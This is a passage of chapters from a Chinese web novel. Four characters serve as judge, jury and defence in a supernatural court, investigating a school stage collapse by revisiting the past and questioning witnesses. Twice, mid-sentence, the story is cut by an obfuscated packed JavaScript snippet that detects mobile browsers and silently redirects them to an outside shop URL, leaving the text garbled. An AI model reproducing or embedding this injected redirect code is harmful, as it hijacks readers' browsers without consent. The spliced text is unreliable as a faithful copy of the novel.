少年像是被她的话语刺了一下,浑身剧烈地一颤,涣散的目光艰难地凝聚在她脸上。泪水瞬间冲破了眼眶,大颗大颗地滚落,混着他脸上未干的冷汗。 他张了张嘴,喉咙里发出气音,好半晌,才挤出破碎的句子:“怎、怎么会这样……我明明检查过的,我肯定检查过的,舞台不是没问题吗?” 他摇着头,眼神里是全然的不敢置信,仿佛整个世界在他眼前崩塌重组成了噩梦。 叶抒年听到这句话,胸腔里那口一直提着的气,终于缓缓地舒了出来。 还好。至少这里还有一个真人,一个能交流、有反应、或许掌握着关键信息的证人。 她强迫自己从对少年恐惧的同情中抽离,带着引导性地问: “你说你检查过舞台。详细告诉我,你检查了哪些地方?具体怎么检查的?” 她顿了顿,留意着少年每一丝细微的表情变化,“还有,你去过后台吗?在检查过程中,或者演出开始前后,有没有看到什么不该出现在那里的人?或者,注意到任何不寻常的动静?” 在问出最后一个问题时,她脑中倏然闪过一个画面。 那个在后台走廊里,与她仓皇对视的女孩。那女孩苍白的面容,惊慌的眼神,此刻与眼前少年崩溃的神情隐约重叠,在她心底敲响一声警钟。 “我……我只见到姐姐去过后台。” 叶抒年眉心微蹙。少年口中的“姐姐”,显然就是那个在后台走廊与她擦肩的女孩。 坦白说,她直觉那女孩不是罪魁祸首。这直觉毫无根据,却让她下意识想为对方洗清嫌疑。 “你见到她去后台,”叶抒年追问,“有没有看到她去做什么?或者,你知道她平时去后台,通常会做什么吗?” 少年吸了吸鼻子,泪水还在流,眼神却开始飘忽,不敢直视叶抒年。 他放在膝盖上的手搓着裤缝,声音低了下去,含糊道:“我……我不知道她去做什么。她有时候会去帮老师整理道具。” 他停顿了几秒,呼吸有些急促,仿佛接下来的话卡在喉咙里,需要很大力气才能挤出来。叶抒年耐心地等着,没有催促。 “但是……”他终于又开口,“但是前几天,我好像听到,她在后台,和领舞的苏老师吵了几句。不过具体的内容,我没听清。” 说完,他又急切地补充:“可能就是普通的争论,排舞的时候经常有不同意见的!真的!苏老师要求很严……姐姐她、她只是比较有自己想法。” 叶抒年沉默了。 一个十几岁的女孩,会因为排练时的几句争执,就处心积虑制造一场葬送数十条性命的舞台惨案吗? 不能吧。 何况,那么严重的舞台塌陷,很难由一个女孩独自制造。 “她们具体吵了什么,你真的一点都没听到吗?”叶抒年追问,试图从少年闪躲的神情里挖出更多。 少年吞吞吐吐道:“我……我不知道。” 他真的不知道吗?叶抒年盯着少年闪躲的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011718|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛,没有全信。 她记得自己还有一次法官特权,可以强制对方诚实回答一个指定问题。但她想了想,决定还是再等等。 身后传来脚步声,沉稳而利落。 叶抒年回头,看见阮天清和俞不晚一前一后走了过来。 俞不晚脸色很冷,眼里还残留着没能救人的憋闷愠怒。阮天清则依旧是那副沉静模样,只是眼神比平时更锐利。 “林煦言说要再去化妆间和道具室看看细节,我们就先过来了。”阮天清简单说明,目光在叶抒年和那瑟瑟发抖的少年之间扫过。 “舞台下面我们看了,”俞不晚接话,语气有点冲,显然还憋着火,“塌陷就在正中间领舞那地方。主梁是从正中央断的,看着那断口,金属早疲了,这破架子估计早就不行了。” 她加重了语气,似乎对得出的结论并不完全满意,“但邪门就邪门在这儿,我们没发现任何明显的人为破坏痕迹。” 叶抒年眉头蹙紧:“你的意思是,舞台是自然塌陷的?因为年久失修,加上今天舞者动作的冲击?” “从现有物理证据看,倾向这个结论。”阮天清语气严谨,“但自然不等于意外。” “如果明知结构有隐患,却未采取恰当措施,甚至隐瞒、忽视,那便是人为的过失。而如果隐患本身就是被人为促成的,只是手法高明到难以察觉,那就是谋杀。” 她的目光,意有所指地,也落向了叶抒年面前的少年。 叶抒年心念电转。 “你一定知道什么。”她笃定地俯视着少年,“你在替她隐瞒什么?” 少年张口,似乎想要辩驳,一个模糊的音节即将挣脱唇齿。 但叶抒年没能听见他说了什么。 因为她的眼睛忽然被雾蒙住。 一切景象与声音都在逐渐淡化、褪色。她能感觉到,自己还维持着微微俯身的姿势,但脚下的实地感正在消失,仿佛踩在松软的云絮里。 那雾气彻底包裹了她,隔绝了所有感官。 待她再回过神时,已经回到了冰凉的法官座椅上。身后,那座古老的机械挂钟还在滴答滴答地响,似乎在提醒,回溯时间已结束。 她立刻转头,目光急扫向石阶之下。 其余三人,也都已经回到了各自的席位上,这会儿都在努力适应刚回到现实的晕眩感。 “心狱法庭,第一次庭审,现在开庭。” 一道声音自不远处传来。音色是陌生的低沉,语调却透着熟悉,仿佛在哪里听过。 叶抒年循声向下望去—— 审判席前,不知何时,多了一个人。 一个不该出现在这里的人。 那人还是一身黑,就那样静立在叶抒年身下正前方,单手抱着一本厚重的法典。 光线从穹顶落下来,恰好被他的身影挡住大半,面容陷在阴影里,看不真切。 但叶抒年一眼就认出他来。 同时,她余光瞥见,陪审席上,阮天清背脊几不可察地绷直了,那是她进入高度戒备状态时下意识的反应。而林煦言,更是控制不住地叫了出来。 那个被称为检察官的男人,此刻竟然出现在她们误入的这座法庭内,并且看这局势,他貌似还是即将负责庭审的那位公诉人! 他依旧穿着那身标志性的衣服,只是外罩了一件样式古朴的暗色长款外套,衣摆垂至膝下,缓和了几分冷硬,却更添几分肃穆与神秘。 此刻,他正微微抬着头。 面容依旧大部分隐在法官席高台投下的阴影里,但叶抒年能感觉到,一道赤裸裸的视线,正穿过昏暗的光线,直直落在她身上。 22. 第22章 在叶抒年有限的人生经验里,曾迎接过形形色色的目光。 学生时代屡次站立于领奖台上,那些投来的艳羡、惊诧、钦佩,乃至零星的不怀好意,她都并不陌生。然而,此刻对面那道视线,却仍让她感到疏落。 那是种什么眼神,叶抒年说不出。 她扪心自问,虽然前不久当着这人的面吐槽过他,但那些心里话又不曾宣之于口,即便她不慎流露,也不至于招致如此深的芥蒂。 那么,这人眼中那种仿佛她做了什么天大的坏事、将对方辜负后抛弃一般的眼神,究竟是怎么回事! 叶抒年被盯得几乎自我怀疑。一忍再忍,终于忍无可忍。 她抬起眼,以生平最锐利、最冷澈的目光,直直地回敬了过去。 看什么看!姐平生行得端做得正,从没做过亏心事! 事实证明,叶抒年的回击立竿见影。对方神情微愕,目光下意识地避开了。 随即,他整肃容色,仿佛将方才一切骤然收敛,重新端坐回了公诉人那沉稳而凛然的位置上。 “法官阁下、陪审团、辩护人及各位旁听人士,本庭现就第一中学礼堂舞台坍塌致死案,提出公诉。” 他的声音落下,叶抒年心头那阵未散的紧张与怒意再度翻涌。 刚才离开得匆忙,她未曾听清那少年最后的话。此刻对案情的了解太少,她不由攥紧了手指。 公诉人继续陈述:“经回溯授权及初步调查,案件事实如下。” “新历37年冬,该校舞团演出期间,舞台主承重梁断裂,台面塌陷。二十四名舞者坠亡,无一生还。” “调查确认,舞台结构老化,金属疲劳严重。然事故直接诱因,与当日负责舞台最终安全检查的关键人员贾纯是否切实履职,密切相关。” 原来那个少年叫贾纯。叶抒年默然想着。更令她意外的是,法庭认定的责任人竟是这位,而非事故发生时那个在后台形迹可疑的女生,或是其他什么人。 想起刚才回溯时的场景,她总觉得处处透露着诡异。 “证据显示,贾纯声称已完成演出前检查,却未发现或排除明显隐患。” “另需指出,其在回溯询问中,对操作细节、现场异常及可能涉案的人际矛盾,均存在言辞闪烁、回避关键之嫌。” “综上,公诉方认为,贾纯作为舞台安全直接责任人,其疏于检查、未及时预警并排除风险的行为,与本案重大伤亡后果存在不可推卸之关联。其中可能涉及的疏忽乃至隐瞒,提请法庭予以严正审查。” 叶抒年静听着,在心里为自己捏了把汗。 她从未亲历过真实的庭审,对流程与话术皆感到陌生。此刻轮到自己执掌裁决之权,只觉重压沉沉。 毕竟她心有良知,深恐自己错判无辜。再加上,她目前对审判规则一无所知。那老者消失前未曾交代半句,难道真要她们如同无头苍蝇般瞎撞么? 这样想着,她朝不远处的其余三人投去求助的目光。 阮天清也正在看着她,朝她微微摇了摇头。 看来,大家也都还处于云里雾里的状态,并且似乎都对法庭所认定的责任人心存疑虑。 叶抒年转而望向公诉人。对方亦注视着她。她定了定神,开口问道:“现在我们需要做什么?是直接作出判决,还是……” 那人这才继续道:“在质询与裁决之前,请容我向各位说明本次庭审的流程与规则。” 好家伙,原来是有规则要讲的,只是这人刚才一直没说。叶抒年看了他一眼,心里那点幽怨又多了几分。 这次,被瞪的人脸上没有丝毫恼意,反而嘴角轻轻一扬,不知在幸灾乐祸什么,叶抒年看到后更加恼火了。 直到那人将笑意全部压下,恢复严肃神色,才面向叶抒年继续说道:“首先,各位审判员有半小时进行私下讨论,确定最终的判决或后续的质询方向。” “之后由辩护人选择辩护方向,可以做无罪辩护或有罪辩护。选定后,被审判人上庭。辩护人有权传唤证人,并对公诉方提出的指控进行反驳与论证。” “随后,法官拥有质询权,可就案件细节进行提问。”说到这里,他忽然顿了一下,才继续道,“不过,对方是否说实话,就无法保证了。” “在此过程中,陪审团需全程聆听,观察各方陈述与证据,形成独立判断。法官与陪审团皆可就关键疑点要求补充说明。” “最后,由法官和陪审团投票作出最终裁决,结果遵循多数原则。” 见对方不再继续,叶抒年主动问道:“之前说我们四人各有特殊权力,是指在审判过程中,我们可以随时暂停流程行使这些权力吗?” “是。”那人回答,“但需补充一点:庭审全程,审判员不得以任何形式对被审判人及证人施以暴力,语言暴力也不能。” 最后这条规则奇奇怪怪的,叶抒年想,这法庭未免过虑了,在场的可都是遵纪守法的文明公民,怎么可能会动不动对别人动手呢? 了解了流程与规则,叶抒年与其余三人交换过眼神,转向公诉人道:“接下来该我们讨论案情了吧?有没有相对私密一点的空间?” 她不太想在众目睽睽下分析案情,这样太没隐私了。 公诉人听罢,抬手指了指法官席位前的长桌。 “向左挪动你面前那本法典。”他言简意赅。 叶抒年依言照做。法典移开的瞬间,桌旁地面无声滑开一个方形入口,一道白色阶梯向下延伸。 原来这里面还有个密室啊。叶抒年朝其余三人招了招手,发现对方早就已经离开座位,在朝她走来了。 “我的天哪!”叶抒年刚拉上密室门,就听林煦言已经忍不住发出了感慨。 他此刻似乎已经无心分析案情了,满脑子全是对外边那位检察官的八卦:“他怎么会在这?难不成他真跟禁区有什么见不得人的关系?我就知道!怪不得他能在这里边来去自如……” “禁区里万事皆有可能。”阮天清一如既往地淡定,无心就检察官这个话题讨论过多。 不过即便她不在意那人,却留意到他几次不经意露出的笑意。也不知是对谁,笑得那么猥琐。 叶抒年对案子的关心远超那位检察官。她看了眼一旁桌上已然倒转的沙漏,打断道:“现在不是聊这个的时候,我们时间有限,先赶紧交换一下已知信息吧。” 俞不晚虽平时大大咧咧,这种时候倒是很配合:“那我先来。回溯时,我和阮姐仔细查过舞台坍塌处,之前也提了,没找到人为破坏的痕迹。从表面看,责任人确实是贾纯。” “但我们没有专业工具,肉眼能看到的太有限,”阮天清冷静补充,“单凭这个,不够定罪。” 叶抒年点头。她也觉得如此,更何况那少年当时的神色明显有所隐瞒。若真是替人顶罪,那就更糟了。 林煦言收起了刚才的散漫,说:“我搜查了化妆间和后台,我觉得你们有必要看看这个。”说着,他掀起自己的上衣。 叶抒年简直没眼看,急忙转过头,吐槽道:“你能不能别大白天耍流氓!” 林煦言委屈巴巴地从裤腰内侧抽出一个小本子,“我也不想啊,可是刚才情况紧急,我又不知道从回溯里带东西出来算不算违规,只能先藏这儿了……” 俞不晚听完“噗呲”一声,趴在阮天清肩上笑得花枝乱颤。 叶抒年这才转回来,目瞪口呆地盯着林煦言手上那个小本子:“你是说,这东西是你从回溯里带出来的?” 她接过册子,觉得封面有些眼熟,一时却想不起在哪儿见过。刚翻开,里面就滑出一张折过的纸。 阮天清展开那张纸,低声念出上面的内容:“诊断通知……这人被诊 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“应该是很早以前的节目单,贴在礼堂外面,我看那样子估计得有一两个月了,估计这些日子里舞团一直在排练这个曲目。”俞不晚补充道。 这就对了。叶抒年想起之前问过贾纯,她们所见的那场演出,舞台上确实少了一人。缺的,恐怕就是这位舞者。两个月前她还是首席,如今却因伤缺席,只能空守遗憾。 她将自己的判断告诉众人,得到了阮天清的疑问:“可这个本子的主人好像并不是梁小絮,为什么这张诊断单会出现在这里?” 只见阮天清将本子翻到扉页,那上面赫然端正地写着“贾笺”二字。 看到这个名字,叶抒年沉默片刻,而后大胆猜测:“这个贾笺,该不会就是贾纯的姐姐吧?演出时坐在我前边,穿校服扎马尾的那个。” 不仅如此,她们还曾在通往后台的走廊里,狭路相逢。 “你怀疑她?”阮天清听出了叶抒年的言外之意。 “我并不觉得她就是罪魁祸首,”叶抒年说,“只是这个人太可疑,我认为,她在这起案子里肯定充当了什么角色。” 否则,怎会那么巧,她偏偏在舞台坍塌前离开座位走向后台,又在坍塌后匆匆逃离,还有个弟弟一边意有所指,一边替她遮掩。 “话说,”叶抒年突然话锋一转,“你们在回溯时,不觉得奇怪吗?” “你指的是什么?那里的一切在我看来都很奇怪。”阮天清答道。 叶抒年摇了摇头:“你们还记得舞台坍塌前的景象吗?那个突然从幕后走到台前的舞者,莫名其妙地流血,还有她流血时,周围其他舞者像是没看见似的,只顾继续跳舞。我的意思是,这不可能是正常人吧?” 太不正常了,甚至称得上灵异。 从那个幕后之人突然出现在台上的那一刻起,叶抒年就一直在思考这个问题。 “我们在回溯里见到的,不是现实吧?”她提出了自己的猜测,“有没有可能,法庭送我们去身临其境的场景,是虚构的?” 这话一出,所有人都沉默了。其实大家都有所察觉,只是在叶抒年明确提出前,她们都觉得太过奇怪。 好端端的,法庭为什么要让她们见到虚构的案发现场?她们的任务不正是查清真相么? “万一这座法庭,本身就在故意误导我们呢?”叶抒年对这禁区内的一切都充满警惕。 禁区内什么都可能发生,如果这座法庭不想让她们离开,那么它提供的真相,还值得相信么?外边旁听席上的那些无脸人,谁知道是不是过去误入法庭而不曾离开的人。 俞不晚皱眉道:“如果法庭撒谎了,我们要怎么找到真相?”要做出怎样的审判,才算顺了法庭的心意,让她们安全离开? “我们,得再回溯一次。”叶抒年说。 23. 第23章 叶抒年想要验证一件事。 她毫不怀疑自己的判断。回溯中的场景存在一定虚构,否则也不会发生那么多不合常理的事,从台上的舞者到台下的观众,除了案发最终的结果,一切都有可能被重塑过。 但虚构不会凭空而来。即便她们目睹的案发过程并非完全真实,也必然基于某种现实依据。 她要找到那个依据。 “你想回到演出前?”阮天清问。 叶抒年看向她手中的诊断单,轻声道:“不,我想回到梁小絮受伤的现场。” 梁小絮这个人,是本案的关键之一。 叶抒年怀疑,那个原本隐于幕后、后又走到台前的人,正是梁小絮。 当时一切浑然天成,这位年轻舞者的姿态与步法,确然凌驾于众人之上。如果没有那场突如其来的血色,这本该是一场精彩的演出,而她也无愧于首席之名。 那点血色,来得突兀而诡谲。眼下她们虽还理不清,这事与舞台坍塌之间究竟有怎样的牵连,但叶抒年确信,这般超出常理的事情,不会没有缘由。 更何况,还有那个叫贾笺的女孩。起初叶抒年只是隐约觉得不对,如今串联起这些线索,她突然又有了另一个猜想。 贾笺当时匆匆赶往后台,或许正是因为看见了幕布后的梁小絮。如果贾笺早知道梁小絮身受重伤,又突然见她若无其事地登台表演,会冲去后台看个究竟,实在是再自然不过的反应。 倘若真是这样,贾笺的嫌疑或可排除。 “有道理,”阮天清听了叶抒年的解释,再次翻开那本小册子,“那么这个贾笺呢?你不好奇?” “不是还有两次回溯机会嘛——”叶抒年说,“我们目前对这个贾笺的了解太少。除了这个本子,几乎没有可以指向她个人经历的信息。这样很难确定应该回到哪个时间节点,才能看到我们真正需要看的。” 好在二位陪审团各拥有一次回溯权,否则这个案子怎么看怎么扑朔迷离,实在难办。 “那就这么定了,待会出去后直接行使回溯权。”俞不晚做结论。 “不先见一面被审判人吗?”林煦言终于找到机会插话,“直接回溯太冒险了。不如先让贾纯上庭,当面问清案发时的情况,再带着具体目标进回溯,效率更高。” 难得见他思路清晰,叶抒年赞许地点头。但随即想起庭审流程:“那得先确定小俞的辩护立场。” 刚才那位公诉人说了,讨论后紧接着的是辩护人选择辩护方向,之后才轮到被审判人入场。 话题回到自己身上,俞不晚沉吟片刻,轻声说:“我觉得……他是无辜的。” 想起回溯中那少年痛哭的模样,神情单纯不似作伪,俞不晚难免生出恻隐之心。 阮天清与叶抒年一时都未作声。她们在心底掂量着那少年的可信度,也在想现场是否还藏着另一个人,一个她们尚未察觉的真凶,将罪行推到了贾纯身上。 片刻,叶抒年抬起眼:“那就做无罪辩护。” 她之所以敢这样决定,也是因为庭审机制留有余地。辩护人选择的立场,只是最终裁决中的一票。而她们其余三人手中还握着三票,即便之后出现意外线索,仍有机会通过票数差扭转局面。 四人又就其他庭审细节作了些讨论,一旁桌面上的沙漏,不知不觉已经见了底,密室的门适时地被人从外打开了。 前不久还短暂地作为八卦中心的检察官,此刻正站在门口,垂眼望着她们,神情依旧冷淡,似在无声催促。 叶抒年在心里翻了个白眼,率先走上了台阶。 待众人重新落座,公诉人继续主持流程:“请辩护人选择辩护立场。” 俞不晚眼前浮现一道白光,浮现出“有罪辩护/无罪辩护”的选项。她抬手,在“无罪辩护”上轻轻一点。 白光消散,公诉人继续推进流程:“现在请被审判人入场。” 叶抒年紧紧盯着被审判席,也就是那个拴着小铁链的四方小台,想看看那少年会以什么样的方式出现。 只见空中画面扭曲了两下,一个面容清隽的少年就这么凭空出现。他还穿着前不久在礼堂内的那身衣服,连袖口的污渍都没变过,似乎是直接从案发后的当下被传送了过来。 挺没新意的,叶抒年淡淡地想。 贾纯站定后,先是愣了一下,像个破落的囚犯被关押了许多年,终于得以重见天日迎来审判。而当他看到法官席位上的叶抒年时,眼中却只有全然陌生的打量。对阮天清等人亦是如此。 看到这景象后,叶抒年朝阮天清挑了挑眉。那个回溯场景果然是虚构的,这位前不久才见过的嫌疑人如今对她们如此陌生,就是证据之一。 接下来应该轮到俞不晚召集证人上庭,但先前四人在密室内讨论了半天,也没论出究竟该传唤什么人。最终一致决定由俞不晚现场发挥,阎王点卯乱点一通,谁来算谁的。 按照公诉人先前的说明,辩护人可自由传唤证人,法庭自会将其传送至庭上。 因此俞不晚清了清嗓子,在众目睽睽之下开始吟诵:“咳咳,我想传唤的人是——” “贾笺梁小絮贾纯的父母贾纯的老师贾纯的好朋友贾纯的死对头隔壁阿花楼下大黄……”俞不晚在这时候发挥出了一气呵成的效果,以至于叶抒年怀疑,她在专职当打手前,曾在广场做过一段时间忧郁的rapper。 长长一串名单,听得人两眼一黑。叶抒年悄悄瞥了眼那位检察官,想看看公诉人听后会作何反应。 预想中大概是被气得吐血,可结果令人很不快。对方并未动怒,反而毫不避讳地抬起眼,胆大包天对着法官阁下一个劲使眼神挑衅。 这下轮到叶抒年气得吐血。 倒也没真吐,在叶抒年眼睁睁看着一长串光影倏忽闪现,法庭上出现整齐一列证人后,她已经没心思和那检察官较劲了。 只顾着瞠目结舌了。 居然还真能这样啊! 谁能想到,以俞不晚那种传唤证人的方式,竟然真的找来了一群人!先不管这些人能不能作为真正的人证,能来已是缘分。 叶抒年盯着队伍最末尾突然矮下去的两个小身影——一猫一狗,分别是隔壁的阿花,和楼下的大黄。 “请法官阁下不要对证人动歪心思。”公诉人言辞提醒。 叶抒年收回恨不能撸到的眼神,假装什么也没有发生。 但阿花和大黄还处在一脸茫然的状态,对着庭上众人就是一通喵喵咪咪,惹得叶抒年又忍不住两眼冒心心。 俞不晚比她动作更快,上前一把抱起阿花,将小猫的脸转向审判席上的少年:“来,宝宝,你告诉姨姨,这人是不是坏人呀?” “喵呜——” “嗯对,不是坏人。”俞不晚放下猫,转身又要去捞大黄。 “请辩护人遵守法庭秩序,勿作无谓举动。”公诉人声音冷淡地制止了她,换来俞不晚一个不服气的眼神。 见这招行不通,俞不晚只得老老实实转向其他证人。她扫了一眼在场众人,除了贾笺和梁小絮,名单上的人大抵都到了。 不过她辨认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019288|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出这些人的身份,只好提高声音问道:“请问,哪两位是贾纯的父母?” 队伍最边上,一男一女举起了手。 俞不晚转向他们,语气认真了些:“二位作为贾纯的父母,能否谈谈他平时的性格?” 那二人回头望了一眼审判台上的少年,忽然眼眶发红,声音哽咽起来:“小纯是个好孩子……在学校,老师同学都喜欢他。他做事细心,前不久还得了三好学生……” 俞不晚静默地等那阵哽咽稍平,才开口:“您说他做事细心。那舞台安全检查这类需要记录备案的事情,他以往是如何处理的?” 男人用袖子擦了擦眼角:“他、他有个本子,每次查完就记上,回回都给我们看……” “那个本子,现在在哪里?” 两人对视一眼,茫然地摇了摇头。 此时,一位老师模样的人接过了话:“贾纯确实有记录的习惯。我是他的班主任,每周的安全检查表,他都交得最准时。” “演出那天下午,”俞不晚转向老师,“您最后见到贾纯,大概是什么时候?他当时在做什么?” 老师被这样提问,抹了一把额间的汗,回忆道:“大概是……开场前一个半小时。我在后台走廊遇见他,他拿着记录板,正往舞台方向去,说是做最后一次巡检。” 后续几位依次发言。贾纯的老师、同学,乃至邻家的叔叔,都无一例外地表示,相信贾纯不会玩忽职守。众人皆说,这场事故必然与他无关,恐怕另有隐情。 “那么,在各位看来,”俞不晚最终望向众人,声音沉了沉,“最有可能做出这种事的人,会是谁?” 她想要从这些证人口中撬出一点蛛丝马迹,为接下来的再度回溯做准备。 众人一时相对无言,庭上寂静无声许久,才有一只微微发颤的手举了起来。 叶抒年循着望去,是贾纯的父亲,一个略显发福、头发稀疏的中年男人。 他神色挣扎,嘴唇嚅动几次,都没能发出声音。身旁的妻子似有所觉,在底下悄悄扯他袖子,他胳膊一挣,女人便不敢再动。 大抵世间没有什么比自己儿子的清白还重要。 “我知道是谁。”男人哑声道,目光低垂,“是我的女儿……贾笺。” 男人说完,肩膀忽然松了。像是终于卸下什么重担,连脊背也挺直了些许。仿佛挣扎许久,最终顺从本心,顶着大逆不道的罪名也要还世间一个清白。 听到这个回答,叶抒年有些意外。 难道对方确切地掌握了什么把柄,以至于他敢在公堂之上如此决绝地指控自己的女儿? 若真有什么确凿的证据,倒也省去了她好些功夫。 她向前倾身,语气平静:“请问,你有什么证据能证明舞台坍塌是贾笺所为?” 男人却沉默了,嘴唇抿成一条紧绷的线。 看来她们是无法在法庭上取得直接证据了。叶抒年与阮天清遥遥对视一眼,是时候再次启动回溯了。 不过,在那之前,叶抒年还有最后一个问题。 她看向审判席上的少年:“贾纯,关于舞台坍塌的事,你还有什么要说的吗?罪魁祸首究竟是不是你?” 贾纯闻声抬头,望向她。他眉头紧锁,沉默片刻,最终坚定地摇了摇头。 “不是我。” “好。”叶抒年收回目光。那就来看看,究竟是谁,犯下了如此罪孽。 这样想着,她转向公诉人:“我们申请行使一次回溯权。目标时间点,梁小絮骶骨骨折的事发现场。” 24. 第24章 雪花落在叶抒年脸颊上,带来一丝冷意。她抬头,发现自己再一次置身这片银装素裹的世界。 这次,阮天清就站在身旁。然而环顾四周,却不见俞不晚和林煦言的踪影。 “她们人呢……”叶抒年嘟囔道,“这法庭的回溯是不是有点鸡肋啊。” 阮天清皱了皱眉,也对另外两人的消失没有头绪,只好说:“先到处走走吧,说不定只是被传送到了不同的落脚地,我们去找梁小絮,到时候自然就能和她们碰头了。” 叶抒年点头,开始打量四周。她们似乎身处厂区与居民区之间的空旷地带,远处烟囱的黑烟在苍白的天际浮荡。建筑物稀疏,唯有一座灯塔孤零零地矗立在荒野上。 天光尚明,灯塔还未亮起。它只是沉默地立着,在薄雪中显得格外岑寂,不知在等待谁的来临。 这处的路有些崎岖,四下无人,叶抒年也没个问路的地方,索性边走边和阮天清梳理思路。 “刚才在法庭上,来了那么多证人,为什么偏偏少了梁小絮和贾笺?”叶抒年越想越觉得不对劲。 法庭的召集机制应该是截取了案发后的时间点,将那个时空的人传送到了这里,也正因如此,贾纯的相貌衣着,都和她们在礼堂见到的别无二致。 最关键的两个当事人,便是梁小絮和贾笺。 梁小絮缺席或许还能解释。如果她真是那个舞台上的幕后之人,已经死在了事故里,法庭自然无法传送亡者。 可贾笺呢?案发时她不是还活着吗?按常理说,贾笺本该也被一并传送到法庭之上才对。 “难道那时她也遭遇了什么不测?”阮天清边规划路线,边跟着叶抒年的梳理沉思。 “如果召集证人的时间节点,就是我们从回溯里抽身的时间节点,那么从案发到传送,不过半小时,而案发时,我们还在走廊撞见了活生生的贾笺。这么短的时间,她能遭遇什么?” 阮天清沉默地走着,雪地上留下两行并排的脚印。 叶抒年一时半会儿也想不通这其中的奥秘,但她直觉,只要解决了这个问题,她们面临的许多事情都可以迎刃而解。 走了半晌,没等来问题的突破,倒是等来了意想不到的人。 叶抒年走着走着,忽然止步,顺道拉住了阮天清的袖子。 阮天清转头,想询问叶抒年怎么突然停下,却看见她直勾勾地盯着不远处,由远及近。 她循着叶抒年的目光望去,看见了一个身着蓝白校服的少女,正沿着她们来时的路,朝灯塔方向走去。马尾松松地扎在脑后,步子不紧不慢。 经过两人身旁时,少女抬眼看了看僵立在路边的叶抒年和阮天清,目光里带着一丝陌生的打量,像在疑惑镇上何时来了这样两个生面孔。 真是说贾笺,贾笺到。 叶抒年当即转身,轻拽了一下阮天清,不远不近地跟了上去。 “不找梁小絮了?”阮天清贴在叶抒年小声问。 “小俞她们会代替我们去找的。”叶抒年对不在场的二人寄予厚望,她的目光仍落在前方那个蓝白身影上。 主要,她们先前苦于找不到关于贾笺的具体线索,如今人就在眼前,岂能不跟上去瞧一瞧。 她想起刚才贾笺投来的那一眼。此刻的她,眼中还未蓄满那种浓稠的绝望,而像一片未起风的湖。 似乎糟糕的一切都尚未发生,一切都还有挽救的余地。叶抒年喜欢这种感觉。 两人跟着贾笺没走多久,果然又回到了那座灯塔下。 这季节天黑得早。刚才还是澄澈的晴空,转眼已寻不见日头,天幕沉沉地罩下来,上面零星缀着几颗亮晶晶的东西。 灯塔也在这时履行起了自己的职责。光束从高处投下,仿佛自天穹垂落,静谧而肃穆。 叶抒年不由得感慨,灾变前的世界还如此可爱。倘若这里的人们得知,百年后,这片土地上将会生满参天巨木,而灯塔也成了禁区规则的一部分,会作何感想? 想来,总会有些遗憾。 不过,这遗憾终究是无法遥隔百年,传输到这里的人心中,因而刚放学的少女还能心安理得地坐在灯塔下,翻开课外书阅读古今中外。 “看的还是哲学书。”叶抒年仗着自己视力好,站在十米外暗中偷窥。 “你就这样光看着,不上去找人聊聊?”阮天清似乎觉得这样的调查方式效率太低,试图怂恿叶抒年打个头阵。 奈何叶抒年也是个社恐,刚才躲在一旁磨磨唧唧半天,正是出于不知该如何跟人打招呼。 这种时候,俩人不约而同地想,要是林煦言在场就好了…… 然而,即便是这样虔诚地在心中招魂,也终究招不来远在千米之外的人。彼时的林煦言,正和俞不晚从一间空教室里探出头来,各自顶着一脸做贼似的神情。 “他俩这是去干嘛呢?”林煦言望着刚从隔壁教室走出去的一男一女。 准确地说,是女孩先一步走了出来,根本没理会身后的人,而男生则匆忙拎着书包追了上去。 “这不废话嘛,现在这个点那肯定是放学回家啊。”俞不晚说话时口齿含糊,嘴里嚼着不知上哪弄来的巧克力。 林煦言的注意力立刻转了方向:“你从哪儿弄来的?分我点儿。”从早上到现在还没吃过东西,他确实饿了。 巧克力是俞不晚从某位小同学的桌边捡的,掉在地上,她就当没人要了。此时不大情愿地掰了一小块递过去。 “诶诶,他俩要走远了。”林煦言接过巧克力,瞥见走廊上那一前一后的两人正往教学楼外走去。 暗中盯梢的俩人连忙跟上,远远坠在那二人后头,一只眼睛站岗,一只眼睛放哨。 只见雪还在下,细细地落在梁小絮发间,逐渐融化。化为叶抒年鼻尖一点红。 在打了第三个喷嚏后,叶抒年终于按捺不住了。这丫头也忒能抗冻了! 大雪天的不回家,就为了在这荒郊野岭看书?叶抒年吸了吸鼻子,决定亲自去教育小孩,什么叫做万事以身体健康为重。 一旁,阮天清还在思忖着该如何自然地接近贾笺,既不让对方警觉,又能探询她与梁小絮的关联。 视野里却出现一个熟悉的身影,已气冲冲地朝着身着校服的女孩走去。 她一怔,侧头才发现身旁已空。叶抒年不知何时起身的,步履里带着几分决绝。阮天清来不及细想,立即跟了上去。 “你好……”叶抒年在心里演练了无数遍理直气壮的开场,本打算二话不说先把人带到暖和的地方,可真走到对方面前时,气势却陡然泄了。 女孩闻声抬头,对上叶抒年拘谨的目光。她将书合上:“姐姐,你在那边看了我好久。是找我有什么事吗?” “……”叶抒年突然有点后悔没直接跟人搭讪,现在好了,她在人眼中成了个偷窥狂。 但是已至此,也只能硬着头皮说下去:“妹妹,这外边太冷了,我们换个地方说话成吗?”说着,她打了今天第四个喷嚏。 身旁,阮天清默默脱下外套,披在她肩上。 好在贾笺还算善解人意,安静地点了点头。不多时,她便领着两人走进镇上的一家汤面小 